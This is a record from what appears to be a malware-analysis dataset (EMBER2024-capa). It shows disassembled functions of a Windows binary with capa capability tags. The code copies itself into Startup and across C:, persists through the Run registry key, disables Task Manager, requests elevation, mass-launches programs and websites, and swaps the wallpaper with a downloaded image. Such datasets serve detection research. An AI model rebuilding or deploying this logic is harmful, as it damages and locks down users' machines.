joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011b63
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400279d0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x140036040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x14003e0eb]
call fcn.140011b81
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x140027a36
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140027a3d
mov al, 1
jmp 0x140027b8d
call fcn.140011320
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.140011320
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.14001191a
movzx eax, al
test eax, eax
je 0x140027a8e
xor al, al
jmp 0x140027b8d
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x140027af3
cmp dword [rbp + 0x154], 1
je 0x140027afe
cmp dword [rbp + 0x154], 3
je 0x140027b7c
jmp 0x140027b8b
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140027b4e
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140027b4e
xor al, al
jmp 0x140027b8d
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140027b69
mov dword [rbp + 0x154], 1
jmp 0x140027b73
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x140027b8d
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140027b8d
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002f0a0]
call fcn.140011988
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.14001157d
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x14001111d
Capabilities:
Write file on windows

Disassembly:
jmp 0x140020790
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14003d108]
call fcn.140011b04
nop
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x1400207e8
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x1400208fa
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x140020893
cmp qword [rbp + 0x28], 0
jle 0x140020893
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x140020831
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140011a64
nop
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
nop
cmp qword [rbp + 0x130], 0
jle 0x1400208e9
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x1400208e9
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140011122
Capabilities:
Create process on windows
Enumerate files on windows

Disassembly:
jmp 0x14001a6d0
push rbp
push rdi
sub rsp, 0x408
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x96
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140034040]
xor rax, rbp
mov qword [rbp + 0x3c8], rax
lea rcx, [0x14003d11b]
call fcn.140011b04
nop
lea rdx, [rbp + 0x10]
lea rcx, str.C:.
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x168], 0xffffffffffffffff
je 0x14001a81c
mov eax, dword [rbp + 0x10]
and eax, 0x10
test eax, eax
jne 0x14001a7f5
lea rdx, [rbp + 0x3c]
lea rcx, [rbp + 0x348]
call fcn.1400114e7
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x3c0], rax
mov r8, qword [rbp + 0x3c0]
lea rdx, [0x14002e940]
lea rcx, [rbp + 0x188]
call fcn.140011b40
nop
lea rcx, [rbp + 0x348]
call fcn.140011226
nop
lea rcx, [rbp + 0x188]
call fcn.14001110e
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov dword [rbp + 0x3a4], 0x1f4
lea rdx, [rbp + 0x3a4]
lea rcx, [rbp + 0x388]
call fcn.140011820
mov rcx, rax
call fcn.140011906
nop
lea rcx, [rbp + 0x188]
call fcn.140011226
nop
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14001a734
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14002dc70]
call fcn.140011924
mov rcx, qword [rbp + 0x3c8]
xor rcx, rbp
call fcn.14001155f
lea rsp, [rbp + 0x3d8]
pop rdi
pop rbp
ret
Function at 0x14001114a
Capabilities:
Create process on windows

Disassembly:
jmp 0x14001a9f0
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x14003d11b]
call fcn.140011b04
nop
lea rax, str.https:__www.google.com
mov qword [rbp + 0x10], rax
lea rax, str.https:__www.youtube.com
mov qword [rbp + 0x18], rax
lea rax, str.https:__www.reddit.com
mov qword [rbp + 0x20], rax
lea rax, str.https:__www.facebook.com
mov qword [rbp + 0x28], rax
lea rax, str.https:__www.twitter.com
mov qword [rbp + 0x30], rax
lea rax, str.https:__www.instagram.com
mov qword [rbp + 0x38], rax
lea rax, str.https:__www.tiktok.com
mov qword [rbp + 0x40], rax
lea rax, str.https:__www.linkedin.com
mov qword [rbp + 0x48], rax
lea rax, str.https:__www.github.com
mov qword [rbp + 0x50], rax
lea rax, str.https:__www.stackoverflow.com
mov qword [rbp + 0x58], rax
lea rax, str.https:__www.netflix.com
mov qword [rbp + 0x60], rax
lea rax, str.https:__www.hulu.com
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x84], 0
jmp 0x14001aabb
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0x28
jge 0x14001ab27
call qword [sym.imp.ucrtbased.dll_rand]
cdq
mov ecx, 0xc
idiv ecx
mov eax, edx
cdqe
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + rax*8 + 0x10]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov dword [rbp + 0x184], 0x1f4
lea rdx, [rbp + 0x184]
lea rcx, [rbp + 0x168]
call fcn.140011820
mov rcx, rax
call fcn.140011906
nop
jmp 0x14001aaad
lea rcx, [rbp - 0x30]
lea rdx, [0x14002d3c0]
call fcn.140011924
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x140011163
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
jmp 0x140019510
push rbp
push rdi
sub rsp, 0x2d8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140034040]
xor rax, rbp
mov qword [rbp + 0x290], rax
lea rcx, [0x14003d11b]
call fcn.140011b04
nop
lea rcx, [rbp + 8]
call fcn.1400119dd
nop
lea r8, str.MicrosoftWindowsStart_MenuProgramsStartup_test.exe
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x48]
call fcn.1400118b6
nop
mov r8d, 0x104
lea rdx, [rbp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
lea rcx, [rbp + 0x48]
call fcn.14001110e
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
nop
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
nop
lea rcx, [rbp + 0x48]
call fcn.1400117fd
inc rax
mov qword [rbp + 0x288], rax
lea rcx, [rbp + 0x48]
call fcn.14001110e
mov rcx, qword [rbp + 0x288]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.test
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x48]
call fcn.140011226
nop
lea rcx, [rbp + 8]
call fcn.140011226
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14002c710]
call fcn.140011924
mov rcx, qword [rbp + 0x290]
xor rcx, rbp
call fcn.14001155f
lea rsp, [rbp + 0x2a8]
pop rdi
pop rbp
ret

Function at 0x1400111ae
Capabilities:
Create process on windows

Disassembly:
jmp 0x14001a8b0
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x14003d11b]
call fcn.140011b04
nop
lea rax, str.notepad.exe
mov qword [rbp + 8], rax
lea rax, str.calc.exe
mov qword [rbp + 0x10], rax
lea rax, str.mspaint.exe
mov qword [rbp + 0x18], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x20], rax
lea rax, str.explorer.exe
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x44], 0
jmp 0x14001a925
mov eax, dword [rbp + 0x44]
inc eax
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0x28
jge 0x14001a98e
call qword [sym.imp.ucrtbased.dll_rand]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
cdqe
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + rax*8 + 8]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov dword [rbp + 0x144], 0x1f4
lea rdx, [rbp + 0x144]
lea rcx, [rbp + 0x128]
call fcn.140011820
mov rcx, rax
call fcn.140011906
nop
jmp 0x14001a91d
lea rcx, [rbp - 0x30]
lea rdx, [0x14002d440]
call fcn.140011924
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x1400111f9
Capabilities:
Create process on windows
Terminate process

Disassembly:
jmp 0x14001b060
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x72
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140034040]
xor rax, rbp
mov qword [rbp + 0x278], rax
lea rcx, [0x14003d11b]
call fcn.140011b04
nop
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
mov dword [rbp + 0x140], 0x70
lea rax, [rbp + 0x144]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rbp + 0x150], rax
lea rax, [rbp + 0x10]
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x148], 0
mov dword [rbp + 0x170], 0
lea rcx, [rbp + 0x140]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14001b119
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14002c5a0]
call fcn.140011924
mov rcx, qword [rbp + 0x278]
xor rcx, rbp
call fcn.14001155f
lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret
Function at 0x140011339
Capabilities:
Change the wallpaper
Download url
Receive data

Disassembly:
jmp 0x14001b190
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x140034040]
xor rax, rbp
mov qword [rbp + 0x160], rax
lea rcx, [0x14003d11b]
call fcn.140011b04
nop
lea rcx, [rbp + 8]
call fcn.140011523
nop
lea r8, str.image.jpg
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x48]
call fcn.1400118b6
nop
lea rcx, [rbp + 0x48]
call fcn.14001110e
mov qword [rbp + 0x158], rax
mov rcx, qword [rbp + 0x190]
call fcn.14001110e
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x158]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.14001129e
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jl 0x14001b264
lea rcx, [rbp + 0x48]
call fcn.14001110e
mov r9d, 3
mov r8, rax
xor edx, edx
mov ecx, 0x14
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
nop
lea rcx, [rbp + 0x48]
call fcn.140011226
nop
lea rcx, [rbp + 8]
call fcn.140011226
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14002c810]
call fcn.140011924
mov rcx, qword [rbp + 0x160]
xor rcx, rbp
call fcn.14001155f
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret

Function at 0x1400113de
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x14001a5c0
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140034040]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14003d11b]
call fcn.140011b04
nop
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
nop
lea rax, str.C:WindowsSystem32calc.exe
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x28]
call fcn.1400114dd
inc rax
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.CalcAtStartup
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14002d8e0]
call fcn.140011924
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.14001155f
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011627
Capabilities:
Terminate process

Disassembly:
jmp 0x140023890
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400117b7
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400243c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400243e0
xor al, al
jmp 0x140024461
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400243f3
xor al, al
jmp 0x140024461
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002441d
xor al, al
jmp 0x140024461
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140024431
xor al, al
jmp 0x140024461
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140024443
xor al, al
jmp 0x140024461
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002445f
xor al, al
jmp 0x140024461
mov al, 1
add rsp, 0x38
ret
Function at 0x140011893
Capabilities:
Copy file
Enumerate files on windows

Disassembly:
jmp 0x14001b2f0
push rbp
push rdi
sub rsp, 0x568
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xf2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140034040]
xor rax, rbp
mov qword [rbp + 0x538], rax
lea rcx, [0x14003d11b]
call fcn.140011b04
nop
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
lea rdx, [rbp + 0x140]
lea rcx, str.C:
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rbp + 0x298], rax
cmp qword [rbp + 0x298], 0xffffffffffffffff
je 0x14001b4c8
mov eax, dword [rbp + 0x140]
and eax, 0x10
test eax, eax
je 0x14001b49e
lea rdx, [rbp + 0x16c]
lea rcx, [rbp + 0x4f8]
call fcn.1400114e7
mov qword [rbp + 0x528], rax
mov rax, qword [rbp + 0x528]
mov qword [rbp + 0x530], rax
mov r8, qword [rbp + 0x530]
lea rdx, [0x14002e940]
lea rcx, [rbp + 0x2b8]
call fcn.140011b40
nop
lea rcx, [rbp + 0x4f8]
call fcn.140011226
nop
lea rdx, [0x14002e944]
lea rcx, [rbp + 0x2b8]
call fcn.1400112fd
movzx eax, al
test eax, eax
je 0x14001b491
lea rdx, str.C:..
lea rcx, [rbp + 0x2b8]
call fcn.1400112fd
movzx eax, al
test eax, eax
je 0x14001b491
lea r8, str._test1.exe
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x2f8]
call fcn.1400118b6
nop
lea r8, str._test2.exe
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x338]
call fcn.1400118b6
nop
lea rcx, [rbp + 0x2f8]
call fcn.14001110e
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
nop
lea rcx, [rbp + 0x338]
call fcn.14001110e
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
nop
lea rcx, [rbp + 0x338]
call fcn.140011226
nop
lea rcx, [rbp + 0x2f8]
call fcn.140011226
nop
lea rcx, [rbp + 0x2b8]
call fcn.140011226
nop
lea rdx, [rbp + 0x140]
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14001b36a
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14002c9e0]
call fcn.140011924
mov rcx, qword [rbp + 0x538]
xor rcx, rbp
call fcn.14001155f
lea rsp, [rbp + 0x548]
pop rdi
pop rbp
ret
Function at 0x140011a7d
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
jmp 0x140019eb0
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140034040]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14003d11b]
call fcn.140011b04
nop
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
nop
mov dword [rbp + 0x24], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableTaskMgr
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14002cae0]
call fcn.140011924
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.14001155f
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011a8c
Capabilities:
Download url
Get file system object information
Receive data

Disassembly:
jmp 0x140019c40
push rbp
push rdi
sub rsp, 0x418
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x96
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140034040]
xor rax, rbp
mov qword [rbp + 0x3c8], rax
lea rcx, [0x14003d11b]
call fcn.140011b04
nop
lea rcx, [rbp + 8]
call fcn.140011523
nop
lea r8, str._new_icon.ico
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x48]
call fcn.1400118b6
nop
lea rcx, [rbp + 0x48]
call fcn.14001110e
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.https:__i.imgur.com_FId7FdU.jpeg
xor ecx, ecx
call fcn.14001129e
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jl 0x140019d76
lea rcx, [rbp + 0x48]
call fcn.14001110e
mov dword [rsp + 0x20], 0x100
mov r9d, 0x168
lea r8, [rbp + 0xb0]
xor edx, edx
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetFileInfoA]
nop
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x238], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x64
mov dword [rsp + 0x20], 2
lea r9, str.Policy
xor r8d, r8d
mov edx, 0x1a
mov ecx, 0xffff
call qword [sym.imp.USER32.dll_SendMessageTimeoutA]
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x64
mov dword [rsp + 0x20], 2
mov r9, qword [rbp + 0x238]
xor r8d, r8d
mov edx, 0x1a
mov ecx, 0xffff
call qword [sym.imp.USER32.dll_SendMessageTimeoutA]
nop
lea rcx, [rbp + 0x48]
call fcn.140011226
nop
lea rcx, [rbp + 8]
call fcn.140011226
nop
lea rcx, [rbp - 0x40]
lea rdx, [0x14002d9f0]
call fcn.140011924
mov rcx, qword [rbp + 0x3c8]
xor rcx, rbp
call fcn.14001155f
lea rsp, [rbp + 0x3d8]
pop rdi
pop rbp
ret
Function at 0x140011aa0
Capabilities:
Get token membership

Disassembly:
jmp 0x14001a460
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140034040]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x14003d11b]
call fcn.140011b04
nop
mov dword [rbp + 4], 0
mov byte [rbp + 0x44], 0
mov byte [rbp + 0x45], 0
mov byte [rbp + 0x46], 0
mov byte [rbp + 0x47], 0
mov byte [rbp + 0x48], 0
mov byte [rbp + 0x49], 5
lea rax, [rbp + 0x28]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0x44]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14001a52e
lea r8, [rbp + 4]
mov rdx, qword [rbp + 0x28]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
nop
cmp dword [rbp + 4], 0
je 0x14001a53d
mov byte [rbp + 0x114], 1
jmp 0x14001a544
mov byte [rbp + 0x114], 0
movzx eax, byte [rbp + 0x114]
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x14002c4c0]
call fcn.140011924
mov eax, edi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.14001155f
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret